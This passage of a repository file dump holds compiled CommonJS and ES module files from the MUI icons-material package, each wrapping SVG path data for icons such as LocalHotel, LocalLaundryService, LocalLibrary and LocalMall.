    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13c1.66 0 3-1.34 3-3S8.66 7 7 7s-3 1.34-3 3 1.34 3 3 3m12-6h-6c-1.1 0-2 .9-2 2v5H3V6c0-.55-.45-1-1-1s-1 .45-1 1v13c0 .55.45 1 1 1s1-.45 1-1v-2h18v2c0 .55.45 1 1 1s1-.45 1-1v-8c0-2.21-1.79-4-4-4\"\n}), 'LocalHotelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHotelRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13c1.66 0 3-1.34 3-3S8.66 7 7 7s-3 1.34-3 3 1.34 3 3 3m12-6h-6c-1.1 0-2 .9-2 2v5H3V6c0-.55-.45-1-1-1s-1 .45-1 1v13c0 .55.45 1 1 1s1-.45 1-1v-2h18v2c0 .55.45 1 1 1s1-.45 1-1v-8c0-2.21-1.79-4-4-4\"\n}), 'LocalHotelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHotelSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13c1.66 0 3-1.34 3-3S8.66 7 7 7s-3 1.34-3 3 1.34 3 3 3m16-6H11v7H3V5H1v15h2v-3h18v3h2z\"\n}), 'LocalHotelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHotelSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13c1.66 0 3-1.34 3-3S8.66 7 7 7s-3 1.34-3 3 1.34 3 3 3m16-6H11v7H3V5H1v15h2v-3h18v3h2z\"\n}), 'LocalHotelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHotelTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"11\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-6v6h8v-4c0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 11c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m11-4h-8v8H3V5H1v15h2v-3h18v3h2v-9c0-2.21-1.79-4-4-4m2 8h-8V9h6c1.1 0 2 .9 2 2z\"\n}, \"2\")], 'LocalHotelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHotelTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"11\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-6v6h8v-4c0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 11c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m11-4h-8v8H3V5H1v15h2v-3h18v3h2v-9c0-2.21-1.79-4-4-4m2 8h-8V9h6c1.1 0 2 .9 2 2z\"\n}, \"2\")], 'LocalHotelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLaundryService.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.17 16.83c1.56 1.56 4.1 1.56 5.66 0s1.56-4.1 0-5.66zM18 2.01 6 2c-1.11 0-2 .89-2 2v16c0 1.11.89 2 2 2h12c1.11 0 2-.89 2-2V4c0-1.11-.89-1.99-2-1.99M10 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M7 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m5 16c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'LocalLaundryService');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLaundryService.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.17 16.83c1.56 1.56 4.1 1.56 5.66 0s1.56-4.1 0-5.66zM18 2.01 6 2c-1.11 0-2 .89-2 2v16c0 1.11.89 2 2 2h12c1.11 0 2-.89 2-2V4c0-1.11-.89-1.99-2-1.99M10 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M7 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m5 16c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'LocalLaundryService');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLaundryServiceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2.01 6 2c-1.11 0-2 .89-2 2v16c0 1.11.89 2 2 2h12c1.11 0 2-.89 2-2V4c0-1.11-.89-1.99-2-1.99M18 20H6L5.99 4H18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"6\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"6\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 19c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5m2.36-7.36c1.3 1.3 1.3 3.42 0 4.72s-3.42 1.3-4.72 0z\"\n}, \"3\")], 'LocalLaundryServiceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLaundryServiceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2.01 6 2c-1.11 0-2 .89-2 2v16c0 1.11.89 2 2 2h12c1.11 0 2-.89 2-2V4c0-1.11-.89-1.99-2-1.99M18 20H6L5.99 4H18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"6\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"6\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 19c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5m2.36-7.36c1.3 1.3 1.3 3.42 0 4.72s-3.42 1.3-4.72 0z\"\n}, \"3\")], 'LocalLaundryServiceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLaundryServiceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.64 16.36c1.3 1.3 3.42 1.3 4.72 0s1.3-3.42 0-4.72zM18 2.01 6 2c-1.11 0-2 .89-2 2v16c0 1.11.89 2 2 2h12c1.11 0 2-.89 2-2V4c0-1.11-.89-1.99-2-1.99M11 5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M8 5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m4 14c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}), 'LocalLaundryServiceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLaundryServiceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.64 16.36c1.3 1.3 3.42 1.3 4.72 0s1.3-3.42 0-4.72zM18 2.01 6 2c-1.11 0-2 .89-2 2v16c0 1.11.89 2 2 2h12c1.11 0 2-.89 2-2V4c0-1.11-.89-1.99-2-1.99M11 5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M8 5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m4 14c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}), 'LocalLaundryServiceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLaundryServiceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.17 16.83c1.56 1.56 4.1 1.56 5.66 0s1.56-4.1 0-5.66zM20 2.01 4 2v20h16zM10 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M7 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m5 16c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'LocalLaundryServiceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLaundryServiceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.17 16.83c1.56 1.56 4.1 1.56 5.66 0s1.56-4.1 0-5.66zM20 2.01 4 2v20h16zM10 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M7 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m5 16c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'LocalLaundryServiceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLaundryServiceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.99 4 6 20h12V4zc.01 0 0 0 0 0M11 5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M8 5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m4 4c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2.01 6 2c-1.11 0-2 .89-2 2v16c0 1.11.89 2 2 2h12c1.11 0 2-.89 2-2V4c0-1.11-.89-1.99-2-1.99M18 20H6L5.99 4H18z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"6\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 19c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5m2.36-7.36c1.3 1.3 1.3 3.42 0 4.72s-3.42 1.3-4.72 0z\"\n}, \"4\")], 'LocalLaundryServiceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLaundryServiceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.99 4 6 20h12V4zc.01 0 0 0 0 0M11 5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M8 5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m4 4c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2.01 6 2c-1.11 0-2 .89-2 2v16c0 1.11.89 2 2 2h12c1.11 0 2-.89 2-2V4c0-1.11-.89-1.99-2-1.99M18 20H6L5.99 4H18z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"6\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"6\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 19c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5m2.36-7.36c1.3 1.3 1.3 3.42 0 4.72s-3.42 1.3-4.72 0z\"\n}, \"4\")], 'LocalLaundryServiceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLibrary.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11.55C9.64 9.35 6.48 8 3 8v11c3.48 0 6.64 1.35 9 3.55 2.36-2.19 5.52-3.55 9-3.55V8c-3.48 0-6.64 1.35-9 3.55M12 8c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}), 'LocalLibrary');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLibrary.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11.55C9.64 9.35 6.48 8 3 8v11c3.48 0 6.64 1.35 9 3.55 2.36-2.19 5.52-3.55 9-3.55V8c-3.48 0-6.64 1.35-9 3.55M12 8c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}), 'LocalLibrary');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLibraryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 8.55C9.64 9.35 6.48 8 3 8v11c3.48 0 6.64 1.35 9 3.55 2.36-2.19 5.52-3.55 9-3.55V8c-3.48 0-6.64 1.35-9 3.55m7 5.58c-2.53.34-4.93 1.3-7 2.82-2.06-1.52-4.47-2.49-7-2.83v-6.95c2.1.38 4.05 1.35 5.64 2.83L12 14.28l1.36-1.27c1.59-1.48 3.54-2.45 5.64-2.83z\"\n}), 'LocalLibraryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLibraryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 8.55C9.64 9.35 6.48 8 3 8v11c3.48 0 6.64 1.35 9 3.55 2.36-2.19 5.52-3.55 9-3.55V8c-3.48 0-6.64 1.35-9 3.55m7 5.58c-2.53.34-4.93 1.3-7 2.82-2.06-1.52-4.47-2.49-7-2.83v-6.95c2.1.38 4.05 1.35 5.64 2.83L12 14.28l1.36-1.27c1.59-1.48 3.54-2.45 5.64-2.83z\"\n}), 'LocalLibraryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLibraryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11.55c-1.82-1.7-4.12-2.89-6.68-3.35C4.11 7.99 3 8.95 3 10.18v6.24c0 1.68.72 2.56 1.71 2.69 2.5.32 4.77 1.35 6.63 2.87.35.29.92.32 1.27.04 1.87-1.53 4.16-2.58 6.68-2.9.94-.13 1.71-1.06 1.71-2.02v-6.92c0-1.23-1.11-2.19-2.32-1.98-2.56.46-4.86 1.65-6.68 3.35M12 8c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}), 'LocalLibraryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLibraryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11.55c-1.82-1.7-4.12-2.89-6.68-3.35C4.11 7.99 3 8.95 3 10.18v6.24c0 1.68.72 2.56 1.71 2.69 2.5.32 4.77 1.35 6.63 2.87.35.29.92.32 1.27.04 1.87-1.53 4.16-2.58 6.68-2.9.94-.13 1.71-1.06 1.71-2.02v-6.92c0-1.23-1.11-2.19-2.32-1.98-2.56.46-4.86 1.65-6.68 3.35M12 8c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}), 'LocalLibraryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLibrarySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11.55C9.64 9.35 6.48 8 3 8v11c3.48 0 6.64 1.35 9 3.55 2.36-2.19 5.52-3.55 9-3.55V8c-3.48 0-6.64 1.35-9 3.55M12 8c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}), 'LocalLibrarySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLibrarySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11.55C9.64 9.35 6.48 8 3 8v11c3.48 0 6.64 1.35 9 3.55 2.36-2.19 5.52-3.55 9-3.55V8c-3.48 0-6.64 1.35-9 3.55M12 8c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}), 'LocalLibrarySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLibraryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 17.13v-6.95c-2.1.38-4.05 1.35-5.64 2.83L12 14.28l-1.36-1.27C9.05 11.53 7.1 10.56 5 10.18v6.95c2.53.34 4.94 1.3 7 2.83 2.07-1.52 4.47-2.49 7-2.83\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"5\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 5c0-2.21-1.79-4-4-4S8 2.79 8 5s1.79 4 4 4 4-1.79 4-4m-6 0c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M3 19c3.48 0 6.64 1.35 9 3.55 2.36-2.19 5.52-3.55 9-3.55V8c-3.48 0-6.64 1.35-9 3.55C9.64 9.35 6.48 8 3 8zm2-8.82c2.1.38 4.05 1.35 5.64 2.83L12 14.28l1.36-1.27c1.59-1.48 3.54-2.45 5.64-2.83v6.95c-2.53.34-4.93 1.3-7 2.82-2.06-1.52-4.47-2.49-7-2.83z\"\n}, \"2\")], 'LocalLibraryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalLibraryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 17.13v-6.95c-2.1.38-4.05 1.35-5.64 2.83L12 14.28l-1.36-1.27C9.05 11.53 7.1 10.56 5 10.18v6.95c2.53.34 4.94 1.3 7 2.83 2.07-1.52 4.47-2.49 7-2.83\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"5\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 5c0-2.21-1.79-4-4-4S8 2.79 8 5s1.79 4 4 4 4-1.79 4-4m-6 0c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M3 19c3.48 0 6.64 1.35 9 3.55 2.36-2.19 5.52-3.55 9-3.55V8c-3.48 0-6.64 1.35-9 3.55C9.64 9.35 6.48 8 3 8zm2-8.82c2.1.38 4.05 1.35 5.64 2.83L12 14.28l1.36-1.27c1.59-1.48 3.54-2.45 5.64-2.83v6.95c-2.53.34-4.93 1.3-7 2.82-2.06-1.52-4.47-2.49-7-2.83z\"\n}, \"2\")], 'LocalLibraryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMall.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6h-2c0-2.76-2.24-5-5-5S7 3.24 7 6H5c-1.1 0-1.99.9-1.99 2L3 20c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-7-3c1.66 0 3 1.34 3 3H9c0-1.66 1.34-3 3-3m0 10c-2.76 0-5-2.24-5-5h2c0 1.66 1.34 3 3 3s3-1.34 3-3h2c0 2.76-2.24 5-5 5\"\n}), 'LocalMall');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMall.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6h-2c0-2.76-2.24-5-5-5S7 3.24 7 6H5c-1.1 0-1.99.9-1.99 2L3 20c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-7-3c1.66 0 3 1.34 3 3H9c0-1.66 1.34-3 3-3m0 10c-2.76 0-5-2.24-5-5h2c0 1.66 1.34 3 3 3s3-1.34 3-3h2c0 2.76-2.24 5-5 5\"\n}), 'LocalMall');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMallOutlined.js",
